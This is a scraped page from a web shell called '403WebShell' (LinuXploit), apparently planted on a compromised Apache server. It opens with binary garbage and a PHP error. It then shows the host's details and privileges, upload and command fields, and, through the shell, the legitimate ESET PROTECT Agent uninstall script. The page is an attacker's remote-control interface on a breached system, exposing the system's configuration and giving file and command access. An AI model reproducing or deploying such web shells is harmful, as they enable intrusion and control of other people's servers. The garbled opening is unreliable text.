h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/eset/RemoteAdministrator/Agent/setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/eset/RemoteAdministrator/Agent/setup/uninstall.sh
#!/bin/sh
# ESET PROTECT
#
# Copyright (c) 2022 ESET, spol. s r.o.

if [ `id -u` -ne 0 ];then
  echo "Not running as root!"; exit 1
fi

# clear environment variable UPSTART_SESSION -> otherwise initctl wont work as expected
unset UPSTART_SESSION

#############
# VARIABLES #
#############

product_name="Agent"
service_name="eraagent"
systemd_service="eraagent.service"
upstart_service="eraagent.conf"
ca_wrapper_basename="CustomActions"

program_bin_dir="/opt/eset/RemoteAdministrator/Agent"
program_config_dir="/etc/opt/eset/RemoteAdministrator/Agent"
program_data_dir="/var/opt/eset/RemoteAdministrator/Agent"
program_logs_dir="/var/log/eset/RemoteAdministrator/Agent"
program_libs_dir="/opt/eset/RemoteAdministrator/Agent"
program_pid_dir="/var/run/eset"

setup_dir="/opt/eset/RemoteAdministrator/Agent/setup"
setup_db_connectors_dir="/opt/eset/RemoteAdministrator/Agent/setup"

log_dirname="/tmp"
log_basename="EraAgentUninstall.log"
log_file="$log_dirname/$log_basename"

#############
# FUNCTIONS #
#############

# Initialize log file
init_log()
{
  local adate
  adate="`date +%Y-%m-%d\ %H:%M:%S`"
  mkdir -p `dirname $log_file`
  echo "$adate Information: Uninstaller: Initializing logging to file $log_file" > $log_file
}


# Log message
log()
{
  local l_date
  l_date="`date +%Y-%m-%d\ %H:%M:%S`"
  echo "${l_date} Information: Uninstaller: $1" >> ${log_file}
}


log_echo()
{
  echo "$1"
  log "$1"
}


error_exit()
{
   echo ""
   echo "$0: ${1:-"Unknown Error"}" 1>&2
   echo ""
   exit 1
}


remove_dir()
{
  if [ -d $1 ];then
    log_echo "Removing directory $1"; rm -rf $1
  fi
}


remove_dir_if_empty()
{
  if [ -d $1 ];then
    if [ "x$1" = "x`find $1 -type d -empty`" ];then
      log_echo "Removing empty directory $1"; rmdir $1
    fi
  fi
}


action_uninstall_selinux_policy()
{
  local exitcode

  echo -n "Uninstalling SELinux policy..."
  log "Uninstalling SELinux policy."

  ${setup_dir}/selinux/eraagent.sh --uninstall > /dev/null 2>&1
  exitcode=$?

  if [ $exitcode -eq 0 ];then
    echo " done"
    log "Uninstalled SELinux policy."
  else
    echo " failure"
    log "Failed to uninstall SELinux policy."
  fi
}


uninstall()
{
  log "Starting uninstall sequence"

  # check if we are on Debian distribution (use update-rc.d) or not (use chkconfig)
  if command -v systemctl > /dev/null 2>&1 ; then
    if systemctl is-active $systemd_service > /dev/null 2>&1 ; then
      log_echo "Stopping running instance of $systemd_service"
      systemctl stop $systemd_service
    fi
    if systemctl is-enabled $systemd_service > /dev/null 2>&1 ; then
      log_echo "Disabling $systemd_service"
      systemctl disable $systemd_service
    fi
    if test -f /etc/systemd/system/$systemd_service; then
      log_echo "Removing service file /etc/systemd/system/$systemd_service"
      rm /etc/systemd/system/$systemd_service
    fi
  elif command -v initctl > /dev/null 2>&1 && [ -d /etc/init/ ]; then
    if initctl status $service_name 2> /dev/null | grep running > /dev/null 2>&1 ; then
      log_echo "Stopping running instance of $service_name"
      initctl stop $service_name
    fi
    if test -f "/etc/init/$upstart_service"; then
      log_echo "Removing service file /etc/init/$upstart_service"
      rm /etc/init/$upstart_service
    fi
  else
    if test -f /etc/init.d/$service_name; then
        log_echo "Stopping running instance of $service_name"
        /etc/init.d/$service_name stop
        log_echo "Removing service script /etc/init.d/$service_name"
        rm /etc/init.d/$service_name
    fi
    log_echo "Unregistering service $service_name"
    if command -v update-rc.d >/dev/null 2>&1 ; then
      update-rc.d -f $service_name remove
    else
      chkconfig $service_name off
      chkconfig --del $service_name
    fi
  fi

  # check if config file exists
  #if [ -f ${config_path} ]; then
  #    sed '/ProductInstanceID/!d' ${config_path} > ${config_path}.tmp
  #    mv ${config_path}.tmp ${config_path}
  #    log_echo "Saved product GUID to config file ${config_path}"
  #fi

  # remove SELinux policy (NOTE: has to be called before directories are removed)
  action_uninstall_selinux_policy

  install_log=/var/log/eset/RemoteAdministrator/EraAgentInstaller.log
  test -f "$install_log" && unlink "$install_log"

  # remove directories
  remove_dir $program_bin_dir
  remove_dir $program_config_dir
  remove_dir $program_data_dir
  remove_dir $program_logs_dir
  remove_dir $program_libs_dir
  remove_dir $setup_dir
  remove_dir $setup_db_connectors_dir

  # remove parent dirs if empty
  remove_dir_if_empty `dirname $program_bin_dir`
  remove_dir_if_empty `dirname $program_data_dir`
  remove_dir_if_empty `dirname $program_config_dir`
  remove_dir_if_empty `dirname $program_logs_dir`
  remove_dir_if_empty "/var/opt/eset"
  remove_dir_if_empty "/var/log/eset"
  remove_dir_if_empty "/etc/opt/eset"
  remove_dir_if_empty "/opt/eset"

  log "Stopping uninstall sequence."
  echo "Product uninstalled."
  exit 0
}

init_log

uninstall


Youez - 2016 - github.com/yon3zu
LinuXploit